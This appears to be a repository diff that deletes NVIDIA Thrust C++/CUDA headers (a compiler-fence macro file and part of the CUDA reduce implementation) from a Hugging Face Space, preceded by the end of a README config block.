app_file: app.py
|
9 |
-
pinned: false
|
10 |
-
license: mit
|
11 |
-
duplicated_from: ysharma/ChatGPT4
|
12 |
-
---
|
13 |
-
|
14 |
-
Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/LIVE/thrust/thrust/detail/config/compiler_fence.h
DELETED
@@ -1,62 +0,0 @@
|
|
1 |
-
/*
|
2 |
-
* Copyright 2008-2013 NVIDIA Corporation
|
3 |
-
*
|
4 |
-
* Licensed under the Apache License, Version 2.0 (the "License");
|
5 |
-
* you may not use this file except in compliance with the License.
|
6 |
-
* You may obtain a copy of the License at
|
7 |
-
*
|
8 |
-
* http://www.apache.org/licenses/LICENSE-2.0
|
9 |
-
*
|
10 |
-
* Unless required by applicable law or agreed to in writing, software
|
11 |
-
* distributed under the License is distributed on an "AS IS" BASIS,
|
12 |
-
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
13 |
-
* See the License for the specific language governing permissions and
|
14 |
-
* limitations under the License.
|
15 |
-
*/
|
16 |
-
|
17 |
-
#pragma once
|
18 |
-
|
19 |
-
#include <thrust/detail/config.h>
|
20 |
-
#include <thrust/detail/preprocessor.h>
|
21 |
-
|
22 |
-
// TODO: Enable this or remove this file once nvGRAPH/CUSP migrates off of it.
|
23 |
-
//#if THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_MSVC
|
24 |
-
// #pragma message("warning: The functionality in this header is unsafe, deprecated, and will soon be removed. Use C++11 or C11 atomics instead.")
|
25 |
-
//#else
|
26 |
-
// #warning The functionality in this header is unsafe, deprecated, and will soon be removed. Use C++11 or C11 atomics instead.
|
27 |
-
//#endif
|
28 |
-
|
29 |
-
// msvc case
|
30 |
-
#if THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_MSVC
|
31 |
-
|
32 |
-
#ifndef _DEBUG
|
33 |
-
|
34 |
-
#include <intrin.h>
|
35 |
-
#pragma intrinsic(_ReadWriteBarrier)
|
36 |
-
#define __thrust_compiler_fence() _ReadWriteBarrier()
|
37 |
-
#else
|
38 |
-
|
39 |
-
#define __thrust_compiler_fence() do {} while (0)
|
40 |
-
|
41 |
-
#endif // _DEBUG
|
42 |
-
|
43 |
-
// gcc case
|
44 |
-
#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_GCC
|
45 |
-
|
46 |
-
#if THRUST_GCC_VERSION >= 40200 // atomic built-ins were introduced ~4.2
|
47 |
-
#define __thrust_compiler_fence() __sync_synchronize()
|
48 |
-
#else
|
49 |
-
// allow the code to compile without any guarantees
|
50 |
-
#define __thrust_compiler_fence() do {} while (0)
|
51 |
-
#endif // THRUST_GCC_VERSION
|
52 |
-
|
53 |
-
// unknown case
|
54 |
-
#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_CLANG
|
55 |
-
#define __thrust_compiler_fence() __sync_synchronize()
|
56 |
-
#elif THRUST_HOST_COMPILER == THRUST_HOST_COMPILER_UNKNOWN
|
57 |
-
|
58 |
-
// allow the code to compile without any guarantees
|
59 |
-
#define __thrust_compiler_fence() do {} while (0)
|
60 |
-
|
61 |
-
#endif
|
62 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/CVPR/LIVE/thrust/thrust/system/cuda/detail/reduce.h
DELETED
@@ -1,1076 +0,0 @@
|
|
1 |
-
/******************************************************************************
|
2 |
-
* Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
|
3 |
-
*
|
4 |
-
* Redistribution and use in source and binary forms, with or without
|
5 |
-
* modification, are permitted provided that the following conditions are met:
|
6 |
-
* * Redistributions of source code must retain the above copyright
|
7 |
-
* notice, this list of conditions and the following disclaimer.
|
8 |
-
* * Redistributions in binary form must reproduce the above copyright
|
9 |
-
* notice, this list of conditions and the following disclaimer in the
|
10 |
-
* documentation and/or other materials provided with the distribution.
|
11 |
-
* * Neither the name of the NVIDIA CORPORATION nor the
|
12 |
-
* names of its contributors may be used to endorse or promote products
|
13 |
-
* derived from this software without specific prior written permission.
|
14 |
-
*
|
15 |
-
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
16 |
-
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
17 |
-
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
18 |
-
* ARE DISCLAIMED. IN NO EVENT SHALL NVIDIA CORPORATION BE LIABLE FOR ANY
|
19 |
-
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
20 |
-
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
21 |
-
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
22 |
-
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
23 |
-
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
24 |
-
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
25 |
-
*
|
26 |
-
******************************************************************************/
|
27 |
-
#pragma once
|
28 |
-
|
29 |
-
|
30 |
-
#if THRUST_DEVICE_COMPILER == THRUST_DEVICE_COMPILER_NVCC
|
31 |
-
#include <thrust/system/cuda/config.h>
|
32 |
-
|
33 |
-
#include <thrust/detail/cstdint.h>
|
34 |
-
#include <thrust/detail/temporary_array.h>
|
35 |
-
#include <thrust/system/cuda/detail/util.h>
|
36 |
-
#include <thrust/detail/raw_reference_cast.h>
|
37 |
-
#include <thrust/detail/type_traits/iterator/is_output_iterator.h>
|
38 |
-
#include <cub/device/device_reduce.cuh>
|
39 |
-
#include <thrust/system/cuda/detail/par_to_seq.h>
|
40 |
-
#include <thrust/system/cuda/detail/get_value.h>
|
41 |
-
#include <thrust/system/cuda/detail/dispatch.h>
|
42 |
-
#include <thrust/system/cuda/detail/make_unsigned_special.h>
|
43 |
-
#include <thrust/functional.h>
|
44 |
-
#include <thrust/system/cuda/detail/core/agent_launcher.h>
|
45 |
-
#include <thrust/detail/minmax.h>
|
46 |
-
#include <thrust/distance.h>
|
47 |
-
#include <thrust/detail/alignment.h>
|
48 |
-
|
49 |
-
namespace thrust
|
50 |
-
{
|
51 |
-
|
52 |
-
// forward declare generic reduce
|
53 |
-
// to circumvent circular dependency
|
54 |
-
template <typename DerivedPolicy,
|
55 |
-
typename InputIterator,
|
56 |
-
typename T,
|
57 |
-
typename BinaryFunction>
|
58 |
-
T __host__ __device__
|
59 |
-
reduce(const thrust::detail::execution_policy_base<DerivedPolicy> &exec,
|
60 |
-
InputIterator first,
|
61 |
-
InputIterator last,
|
62 |
-
T init,
|
63 |
-
BinaryFunction binary_op);
|
64 |
-
|
65 |
-
namespace cuda_cub {
|
66 |
-
|
67 |
-
namespace __reduce {
|
68 |
-
|
69 |
-
template<bool>
|
70 |
-
struct is_true : thrust::detail::false_type {};
|
71 |
-
template<>
|
72 |
-
struct is_true<true> : thrust::detail::true_type {};
|
73 |
-
|
74 |
-
template <int _BLOCK_THREADS,
|
75 |
-
int _ITEMS_PER_THREAD = 1,
|
76 |
-
int _VECTOR_LOAD_LENGTH = 1,
|
77 |
-
cub::BlockReduceAlgorithm _BLOCK_ALGORITHM = cub::BLOCK_REDUCE_RAKING,
|
78 |
-
cub::CacheLoadModifier _LOAD_MODIFIER = cub::LOAD_DEFAULT,
|
79 |
-
cub::GridMappingStrategy _GRID_MAPPING = cub::GRID_MAPPING_DYNAMIC>
|
80 |
-
struct PtxPolicy
|
81 |
-
{
|
82 |
-
enum
|
83 |
-
{
|
84 |
-
BLOCK_THREADS = _BLOCK_THREADS,
|
85 |
-
ITEMS_PER_THREAD = _ITEMS_PER_THREAD,
|
86 |
-
VECTOR_LOAD_LENGTH = _VECTOR_LOAD_LENGTH,
|
87 |
-
ITEMS_PER_TILE = _BLOCK_THREADS * _ITEMS_PER_THREAD
|
88 |
-
};
|
89 |
-
|
90 |
-
static const cub::BlockReduceAlgorithm BLOCK_ALGORITHM = _BLOCK_ALGORITHM;
|
91 |
-
static const cub::CacheLoadModifier LOAD_MODIFIER = _LOAD_MODIFIER;
|
92 |
-
static const cub::GridMappingStrategy GRID_MAPPING = _GRID_MAPPING;
|
93 |
-
}; // struct PtxPolicy
|
94 |
-
|
95 |
-
template<class,class>
|
96 |
-
struct Tuning;
|
97 |
-
|
98 |
-
template <class T>
|
99 |
-
struct Tuning<sm30, T>
|
100 |
-
{
|
101 |
-
enum
|
102 |
-
{
|
103 |
-
// Relative size of T type to a 4-byte word
|
104 |
-
SCALE_FACTOR_4B = (sizeof(T) + 3) / 4,
|
105 |
-
// Relative size of T type to a 1-byte word
|
106 |
-
SCALE_FACTOR_1B = sizeof(T),
|
107 |
-
};
|
108 |
-
|
109 |
-
typedef PtxPolicy<256,
|
110 |
-
CUB_MAX(1, 20 / SCALE_FACTOR_4B),
|
111 |
-
2,
|
112 |
-
cub::BLOCK_REDUCE_WARP_REDUCTIONS,
|
113 |
-
cub::LOAD_DEFAULT,
|
114 |
-
cub::GRID_MAPPING_RAKE>
|
115 |
-
type;
|
116 |
-
}; // Tuning sm30
|
117 |
-
|
118 |
-
template <class T>
|
119 |
-
struct Tuning<sm35, T> : Tuning<sm30,T>
|
120 |
-
{
|
121 |
-
// ReducePolicy1B (GTX Titan: 228.7 GB/s @ 192M 1B items)
|
122 |
-
typedef PtxPolicy<128,
|
123 |
-
CUB_MAX(1, 24 / Tuning::SCALE_FACTOR_1B),
|
124 |
-
4,
|
125 |
-
cub::BLOCK_REDUCE_WARP_REDUCTIONS,
|
126 |
-
cub::LOAD_LDG,
|
127 |
-
cub::GRID_MAPPING_DYNAMIC>
|
128 |
-
ReducePolicy1B;
|
129 |
-
|
130 |
-
// ReducePolicy4B types (GTX Titan: 255.1 GB/s @ 48M 4B items)
|
131 |
-
typedef PtxPolicy<256,
|
132 |
-
CUB_MAX(1, 20 / Tuning::SCALE_FACTOR_4B),
|
133 |
-
4,
|
134 |
-
cub::BLOCK_REDUCE_WARP_REDUCTIONS,
|
135 |
-
cub::LOAD_LDG,
|
136 |
-
cub::GRID_MAPPING_DYNAMIC>
|
137 |
-
ReducePolicy4B;
|
138 |
-
|
139 |
-
typedef typename thrust::detail::conditional<(sizeof(T) < 4),
|
140 |
-
ReducePolicy1B,
|
141 |
-
ReducePolicy4B>::type type;
|
142 |
-
}; // Tuning sm35
|
143 |
-
|
144 |
-
template <class InputIt,
|
145 |
-
class OutputIt,
|
146 |
-
class T,
|
147 |
-
class Size,
|
148 |
-
class ReductionOp>
|
149 |
-
struct ReduceAgent
|
150 |
-
{
|
151 |
-
typedef typename detail::make_unsigned_special<Size>::type UnsignedSize;
|
152 |
-
|
153 |
-
template<class Arch>
|
154 |
-
struct PtxPlan : Tuning<Arch,T>::type
|
155 |
-
{
|
156 |
-
// we need this type definition to indicate "specialize_plan" metafunction
|
157 |
-
// that this PtxPlan may have specializations for different Arch
|
158 |
-
// via Tuning<Arch,T> type.
|
159 |
-
//
|
160 |
-
typedef Tuning<Arch,T> tuning;
|
161 |
-
|
162 |
-
typedef typename cub::CubVector<T, PtxPlan::VECTOR_LOAD_LENGTH> Vector;
|
163 |
-
typedef typename core::LoadIterator<PtxPlan, InputIt>::type LoadIt;
|
164 |
-
typedef cub::BlockReduce<T,
|
165 |
-
PtxPlan::BLOCK_THREADS,
|
166 |
-
PtxPlan::BLOCK_ALGORITHM,
|
167 |
-
1,
|
168 |
-
1,
|
169 |
-
Arch::ver>
|
170 |
-
BlockReduce;
|
171 |
-
|
172 |
-
typedef cub::CacheModifiedInputIterator<PtxPlan::LOAD_MODIFIER,
|
173 |
-
Vector,
|
174 |
-
Size>
|
175 |
-
VectorLoadIt;
|
176 |
-
|
177 |
-
struct TempStorage
|
178 |
-
{
|
179 |
-
typename BlockReduce::TempStorage reduce;
|
180 |
-
//
|
181 |
-
Size dequeue_offset;
|
182 |
-
}; // struct TempStorage
|
183 |
-
|
184 |
-
|
185 |
-
}; // struct PtxPlan
|
186 |
-
|
187 |
-
// Reduction need additional information which is not covered in
|
188 |
-
// default core::AgentPlan. We thus inherit from core::AgentPlan
|
189 |
-
// and add additional member fields that are needed.
|
190 |
-
// Other algorithms, e.g. merge, may not need additional information,
|
191 |
-
// and may use AgentPlan directly, instead of defining their own Plan type.
|
192 |
-
//
|
193 |
-
struct Plan : core::AgentPlan
|
194 |
-
{
|
195 |
-
cub::GridMappingStrategy grid_mapping;
|
196 |
-
|
197 |
-
template <class P>
|
198 |
-
THRUST_RUNTIME_FUNCTION
|
199 |
-
Plan(P) : core::AgentPlan(P()),
|
200 |
-
grid_mapping(P::GRID_MAPPING)
|
201 |
-
{
|
202 |
-
}
|
203 |
-
};
|
204 |
-
|
205 |
-
// this specialized PtxPlan for a device-compiled Arch
|
206 |
-
// ptx_plan type *must* only be used from device code
|
207 |
-
// Its use from host code will result in *undefined behaviour*
|
208 |
-
//
|
209 |
-
typedef typename core::specialize_plan_msvc10_war<PtxPlan>::type::type ptx_plan;
|
210 |
-
|
211 |
-
typedef typename ptx_plan::TempStorage TempStorage;
|
212 |
-
typedef typename ptx_plan::Vector Vector;
|
213 |
-
typedef typename ptx_plan::LoadIt LoadIt;
|
214 |
-
typedef typename ptx_plan::BlockReduce BlockReduce;
|
215 |
-
typedef typename ptx_plan::VectorLoadIt VectorLoadIt;
|
216 |
-
|
217 |
-
enum
|
218 |
-
{
|
219 |
-
ITEMS_PER_THREAD = ptx_plan::ITEMS_PER_THREAD,
|
220 |
-
BLOCK_THREADS = ptx_plan::BLOCK_THREADS,
|
221 |
-
ITEMS_PER_TILE = ptx_plan::ITEMS_PER_TILE,
|
222 |
-
VECTOR_LOAD_LENGTH = ptx_plan::VECTOR_LOAD_LENGTH,
|
223 |
-
|
224 |
-
ATTEMPT_VECTORIZATION = (VECTOR_LOAD_LENGTH > 1) &&
|
225 |
-
(ITEMS_PER_THREAD % VECTOR_LOAD_LENGTH == 0) &&
|
226 |
-
thrust::detail::is_pointer<InputIt>::value &&
|
227 |
-
thrust::detail::is_arithmetic<
|
228 |
-
typename thrust::detail::remove_cv<T> >::value
|
229 |
-
};
|
230 |
-
|
231 |
-
struct impl
|
232 |
-
{
|
233 |
-
//---------------------------------------------------------------------
|
234 |
-
// Per thread data
|
235 |
-
//---------------------------------------------------------------------
|
236 |
-
|
237 |
-
TempStorage &storage;
|
238 |
-
InputIt input_it;
|
239 |
-
LoadIt load_it;
|
240 |
-
ReductionOp reduction_op;
|
241 |
-
|
242 |
-
//---------------------------------------------------------------------
|
243 |
-
// Constructor
|
244 |
-
//---------------------------------------------------------------------
|
245 |
-
|
246 |
-
THRUST_DEVICE_FUNCTION impl(TempStorage &storage_,
|
247 |
-
InputIt input_it_,
|
248 |
-
ReductionOp reduction_op_)
|
249 |
-
: storage(storage_),
|
250 |
-
input_it(input_it_),
|
251 |
-
load_it(core::make_load_iterator(ptx_plan(), input_it)),
|
252 |
-
reduction_op(reduction_op_) {}
|
253 |
-
|
254 |
-
//---------------------------------------------------------------------
|
255 |
-
// Utility
|
256 |
-
//---------------------------------------------------------------------
|
257 |
-
|
258 |
-
|
259 |
-
// Whether or not the input is aligned with the vector type
|
260 |
-
// (specialized for types we can vectorize)
|
261 |
-
//
|
262 |
-
template <class Iterator>
|
263 |
-
static THRUST_DEVICE_FUNCTION bool
|
264 |
-
is_aligned(Iterator d_in,
|
265 |
-
thrust::detail::true_type /* can_vectorize */)
|
266 |
-
{
|
267 |
-
return (size_t(d_in) & (sizeof(Vector) - 1)) == 0;
|
268 |
-
}
|
269 |
-
|
270 |
-
// Whether or not the input is aligned with the vector type
|
271 |
-
// (specialized for types we cannot vectorize)
|
272 |
-
//
|
273 |
-
template <class Iterator>
|
274 |
-
static THRUST_DEVICE_FUNCTION bool
|
275 |
-
is_aligned(Iterator,
|
276 |
-
thrust::detail::false_type /* can_vectorize */)
|
277 |
-
{
|
278 |
-
return false;
|
279 |
-
}
|
280 |
-
|
281 |
-
//---------------------------------------------------------------------
|
282 |
-
// Tile processing
|
283 |
-
//---------------------------------------------------------------------
|
284 |
-
|
285 |
-
// Consume a full tile of input (non-vectorized)
|
286 |
-
//
|
287 |
-
template <int IS_FIRST_TILE>
|
288 |
-
THRUST_DEVICE_FUNCTION void
|
289 |
-
consume_tile(T & thread_aggregate,
|
290 |
-
Size block_offset,
|
291 |
-
int /*valid_items*/,
|
292 |
-
thrust::detail::true_type /* is_full_tile */,
|
293 |
-
thrust::detail::false_type /* can_vectorize */)
|
294 |
-
{
|
295 |
-
T items[ITEMS_PER_THREAD];
|
296 |
-
|
297 |
-
// Load items in striped fashion
|
298 |
-
cub::LoadDirectStriped<BLOCK_THREADS>(threadIdx.x,
|
299 |
-
load_it + block_offset,
|
300 |
-
items);
|
301 |
-
|
302 |
-
// Reduce items within each thread stripe
|
303 |
-
thread_aggregate =
|
304 |
-
(IS_FIRST_TILE) ? cub::internal::ThreadReduce(items, reduction_op)
|
305 |
-
: cub::internal::ThreadReduce(items, reduction_op,
|
306 |
-
thread_aggregate);
|
307 |
-
}
|
308 |
-
|
309 |
-
// Consume a full tile of input (vectorized)
|
310 |
-
//
|
311 |
-
template <int IS_FIRST_TILE>
|
312 |
-
THRUST_DEVICE_FUNCTION void
|
313 |
-
consume_tile(T & thread_aggregate,
|
314 |
-
Size block_offset,
|
315 |
-
int /*valid_items*/,
|
316 |
-
thrust::detail::true_type /* is_full_tile */,
|
317 |
-
thrust::detail::true_type /* can_vectorize */)
|
318 |
-
{
|
319 |
-
// Alias items as an array of VectorT and load it in striped fashion
|
320 |
-
enum
|
321 |
-
{
|
322 |
-
WORDS = ITEMS_PER_THREAD / VECTOR_LOAD_LENGTH
|
323 |
-
};
|
324 |
-
|
325 |
-
T items[ITEMS_PER_THREAD];
|
326 |
-
|
327 |
-
Vector *vec_items = reinterpret_cast<Vector *>(items);
|
328 |
-
|
329 |
-
// Vector Input iterator wrapper type (for applying cache modifier)
|
330 |
-
T *d_in_unqualified = const_cast<T *>(input_it) +
|
331 |
-
block_offset +
|
332 |
-
(threadIdx.x * VECTOR_LOAD_LENGTH);
|
333 |
-
VectorLoadIt vec_load_it(reinterpret_cast<Vector *>(d_in_unqualified));
|
334 |
-
|
335 |
-
#pragma unroll
|
336 |
-
for (int i = 0; i < WORDS; ++i)
|
337 |
-
{
|
338 |
-
vec_items[i] = vec_load_it[BLOCK_THREADS * i];
|
339 |
-
}
|
340 |
-
|
341 |
-
|
342 |
-
// Reduce items within each thread stripe
|
343 |
-
thread_aggregate =
|
344 |
-
(IS_FIRST_TILE) ? cub::internal::ThreadReduce(items, reduction_op)
|
345 |
-
: cub::internal::ThreadReduce(items, reduction_op,
|
346 |
-
thread_aggregate);
|
347 |
-
}
|
348 |
-
|
349 |
-
|
350 |
-
// Consume a partial tile of input
|
351 |
-
//
|
352 |
-
template <int IS_FIRST_TILE, class CAN_VECTORIZE>
|
353 |
-
THRUST_DEVICE_FUNCTION void
|
354 |
-
consume_tile(T & thread_aggregate,
|
355 |
-
Size block_offset,
|
356 |
-
int valid_items,
|
357 |
-
thrust::detail::false_type /* is_full_tile */,
|
358 |
-
CAN_VECTORIZE)
|
359 |
-
{
|
360 |
-
// Partial tile
|
361 |
-
int thread_offset = threadIdx.x;
|
362 |
-
|
363 |
-
// Read first item
|
364 |
-
if ((IS_FIRST_TILE) && (thread_offset < valid_items))
|
365 |
-
{
|
366 |
-
thread_aggregate = load_it[block_offset + thread_offset];
|
367 |
-
thread_offset += BLOCK_THREADS;
|
368 |
-
}
|
369 |
-
|
370 |
-
// Continue reading items (block-striped)
|
371 |
-
while (thread_offset < valid_items)
|
372 |
-
{
|
373 |
-
thread_aggregate = reduction_op(
|
374 |
-
thread_aggregate,
|
375 |
-
thrust::raw_reference_cast(load_it[block_offset + thread_offset]));
|
376 |
-
thread_offset += BLOCK_THREADS;
|
377 |
-
}
|
378 |
-
}
|
379 |
-
|
380 |
-
//---------------------------------------------------------------
|
381 |
-
// Consume a contiguous segment of tiles
|
382 |
-
//---------------------------------------------------------------------
|
383 |
-
|
384 |
-
|
385 |
-
// Reduce a contiguous segment of input tiles
|
386 |
-
//
|
387 |
-
template <class CAN_VECTORIZE>
|
388 |
-
THRUST_DEVICE_FUNCTION T
|
389 |
-
consume_range_impl(Size block_offset,
|
390 |
-
Size block_end,
|
391 |
-
CAN_VECTORIZE can_vectorize)
|
392 |
-
{
|
393 |
-
T thread_aggregate;
|
394 |
-
|
395 |
-
if (block_offset + ITEMS_PER_TILE > block_end)
|
396 |
-
{
|
397 |
-
// First tile isn't full (not all threads have valid items)
|
398 |
-
int valid_items = block_end - block_offset;
|
399 |
-
consume_tile<true>(thread_aggregate,
|
400 |
-
block_offset,
|
401 |
-
valid_items,
|
402 |
-
thrust::detail::false_type(),
|
403 |
-
can_vectorize);
|
404 |
-
return BlockReduce(storage.reduce)
|
405 |
-
.Reduce(thread_aggregate, reduction_op, valid_items);
|
406 |
-
}
|
407 |
-
|
408 |
-
// At least one full block
|
409 |
-
consume_tile<true>(thread_aggregate,
|
410 |
-
block_offset,
|
411 |
-
ITEMS_PER_TILE,
|
412 |
-
thrust::detail::true_type(),
|
413 |
-
can_vectorize);
|
414 |
-
block_offset += ITEMS_PER_TILE;
|
415 |
-
|
416 |
-
// Consume subsequent full tiles of input
|
417 |
-
while (block_offset + ITEMS_PER_TILE <= block_end)
|
418 |
-
{
|
419 |
-
consume_tile<false>(thread_aggregate,
|
420 |
-
block_offset,
|
421 |
-
ITEMS_PER_TILE,
|
422 |
-
thrust::detail::true_type(),
|
423 |
-
can_vectorize);
|
424 |
-
block_offset += ITEMS_PER_TILE;
|
425 |
-
}
|
426 |
-
|
427 |
-
// Consume a partially-full tile
|
428 |
-
if (block_offset < block_end)
|
429 |
-
{
|
430 |
-
int valid_items = block_end - block_offset;
|
431 |
-
consume_tile<false>(thread_aggregate,
|
432 |
-
block_offset,
|
433 |
-
valid_items,
|
434 |
-
thrust::detail::false_type(),
|
435 |
-
can_vectorize);
|
436 |
-
}
|
437 |
-
|
438 |
-
// Compute block-wide reduction (all threads have valid items)
|
439 |
-
return BlockReduce(storage.reduce)
|
440 |
-
.Reduce(thread_aggregate, reduction_op);
|
441 |
-
}
|
442 |
-
|
443 |
-
// Reduce a contiguous segment of input tiles
|
444 |
-
//
|
445 |
-
THRUST_DEVICE_FUNCTION T consume_range(Size block_offset,
|
446 |
-
Size block_end)
|
447 |
-
{
|
448 |
-
typedef is_true<ATTEMPT_VECTORIZATION> attempt_vec;
|
449 |
-
typedef is_true<true && ATTEMPT_VECTORIZATION> path_a;
|
450 |
-
typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
|
451 |
-
|
452 |
-
return is_aligned(input_it + block_offset, attempt_vec())
|
453 |
-
? consume_range_impl(block_offset, block_end, path_a())
|
454 |
-
: consume_range_impl(block_offset, block_end, path_b());
|
455 |
-
}
|
456 |
-
|
457 |
-
// Reduce a contiguous segment of input tiles
|
458 |
-
//
|
459 |
-
THRUST_DEVICE_FUNCTION T
|
460 |
-
consume_tiles(Size /*num_items*/,
|
461 |
-
cub::GridEvenShare<Size> &even_share,
|
462 |
-
cub::GridQueue<UnsignedSize> & /*queue*/,
|
463 |
-
thrust::detail::integral_constant<cub::GridMappingStrategy, cub::GRID_MAPPING_RAKE> /*is_rake*/)
|
464 |
-
{
|
465 |
-
typedef is_true<ATTEMPT_VECTORIZATION> attempt_vec;
|
466 |
-
typedef is_true<true && ATTEMPT_VECTORIZATION> path_a;
|
467 |
-
typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
|
468 |
-
|
469 |
-
// Initialize even-share descriptor for this thread block
|
470 |
-
even_share
|
471 |
-
.template BlockInit<ITEMS_PER_TILE, cub::GRID_MAPPING_RAKE>();
|
472 |
-
|
473 |
-
return is_aligned(input_it, attempt_vec())
|
474 |
-
? consume_range_impl(even_share.block_offset,
|
475 |
-
even_share.block_end,
|
476 |
-
path_a())
|
477 |
-
: consume_range_impl(even_share.block_offset,
|
478 |
-
even_share.block_end,
|
479 |
-
path_b());
|
480 |
-
}
|
481 |
-
|
482 |
-
|
483 |
-
//---------------------------------------------------------------------
|
484 |
-
// Dynamically consume tiles
|
485 |
-
//---------------------------------------------------------------------
|
486 |
-
|
487 |
-
// Dequeue and reduce tiles of items as part of a inter-block reduction
|
488 |
-
//
|
489 |
-
template <class CAN_VECTORIZE>
|
490 |
-
THRUST_DEVICE_FUNCTION T
|
491 |
-
consume_tiles_impl(Size num_items,
|
492 |
-
cub::GridQueue<UnsignedSize> queue,
|
493 |
-
CAN_VECTORIZE can_vectorize)
|
494 |
-
{
|
495 |
-
using core::sync_threadblock;
|
496 |
-
|
497 |
-
// We give each thread block at least one tile of input.
|
498 |
-
T thread_aggregate;
|
499 |
-
Size block_offset = blockIdx.x * ITEMS_PER_TILE;
|
500 |
-
Size even_share_base = gridDim.x * ITEMS_PER_TILE;
|
501 |
-
|
502 |
-
if (block_offset + ITEMS_PER_TILE > num_items)
|
503 |
-
{
|
504 |
-
// First tile isn't full (not all threads have valid items)
|
505 |
-
int valid_items = num_items - block_offset;
|
506 |
-
consume_tile<true>(thread_aggregate,
|
507 |
-
block_offset,
|
508 |
-
valid_items,
|
509 |
-
thrust::detail::false_type(),
|
510 |
-
can_vectorize);
|
511 |
-
return BlockReduce(storage.reduce)
|
512 |
-
.Reduce(thread_aggregate, reduction_op, valid_items);
|
513 |
-
}
|
514 |
-
|
515 |
-
// Consume first full tile of input
|
516 |
-
consume_tile<true>(thread_aggregate,
|
517 |
-
block_offset,
|
518 |
-
ITEMS_PER_TILE,
|
519 |
-
thrust::detail::true_type(),
|
520 |
-
can_vectorize);
|
521 |
-
|
522 |
-
if (num_items > even_share_base)
|
523 |
-
{
|
524 |
-
// Dequeue a tile of items
|
525 |
-
if (threadIdx.x == 0)
|
526 |
-
storage.dequeue_offset = queue.Drain(ITEMS_PER_TILE) +
|
527 |
-
even_share_base;
|
528 |
-
|
529 |
-
sync_threadblock();
|
530 |
-
|
531 |
-
// Grab tile offset and check if we're done with full tiles
|
532 |
-
block_offset = storage.dequeue_offset;
|
533 |
-
|
534 |
-
// Consume more full tiles
|
535 |
-
while (block_offset + ITEMS_PER_TILE <= num_items)
|
536 |
-
{
|
537 |
-
consume_tile<false>(thread_aggregate,
|
538 |
-
block_offset,
|
539 |
-
ITEMS_PER_TILE,
|
540 |
-
thrust::detail::true_type(),
|
541 |
-
can_vectorize);
|
542 |
-
|
543 |
-
sync_threadblock();
|
544 |
-
|
545 |
-
// Dequeue a tile of items
|
546 |
-
if (threadIdx.x == 0)
|
547 |
-
storage.dequeue_offset = queue.Drain(ITEMS_PER_TILE) +
|
548 |
-
even_share_base;
|
549 |
-
|
550 |
-
sync_threadblock();
|
551 |
-
|
552 |
-
// Grab tile offset and check if we're done with full tiles
|
553 |
-
block_offset = storage.dequeue_offset;
|
554 |
-
}
|
555 |
-
|
556 |
-
// Consume partial tile
|
557 |
-
if (block_offset < num_items)
|
558 |
-
{
|
559 |
-
int valid_items = num_items - block_offset;
|
560 |
-
consume_tile<false>(thread_aggregate,
|
561 |
-
block_offset,
|
562 |
-
valid_items,
|
563 |
-
thrust::detail::false_type(),
|
564 |
-
can_vectorize);
|
565 |
-
}
|
566 |
-
}
|
567 |
-
|
568 |
-
// Compute block-wide reduction (all threads have valid items)
|
569 |
-
return BlockReduce(storage.reduce)
|
570 |
-
.Reduce(thread_aggregate, reduction_op);
|
571 |
-
}
|
572 |
-
|
573 |
-
|
574 |
-
// Dequeue and reduce tiles of items as part of a inter-block reduction
|
575 |
-
//
|
576 |
-
THRUST_DEVICE_FUNCTION T
|
577 |
-
consume_tiles(
|
578 |
-
Size num_items,
|
579 |
-
cub::GridEvenShare<Size> &/*even_share*/,
|
580 |
-
cub::GridQueue<UnsignedSize> & queue,
|
581 |
-
thrust::detail::integral_constant<cub::GridMappingStrategy, cub::GRID_MAPPING_DYNAMIC>)
|
582 |
-
{
|
583 |
-
typedef is_true<ATTEMPT_VECTORIZATION> attempt_vec;
|
584 |
-
typedef is_true<true && ATTEMPT_VECTORIZATION> path_a;
|
585 |
-
typedef is_true<false && ATTEMPT_VECTORIZATION> path_b;
|
586 |
-
|
587 |
-
return is_aligned(input_it, attempt_vec())
|
588 |
-
? consume_tiles_impl(num_items, queue, path_a())
|
589 |
-
: consume_tiles_impl(num_items, queue, path_b());
|
590 |
-
}
|
591 |
-
}; // struct impl
|
592 |
-
|
593 |
-
//---------------------------------------------------------------------
|
594 |
-
// Agent entry points
|
595 |
-
//---------------------------------------------------------------------
|
596 |
-
|
597 |
-
// single tile reduce entry point
|
598 |
-
//
|
599 |
-
THRUST_AGENT_ENTRY(InputIt input_it,
|
600 |
-
OutputIt output_it,
|
601 |
-
Size num_items,
|
602 |
-
ReductionOp reduction_op,
|
603 |
-
char * shmem)
|
604 |
-
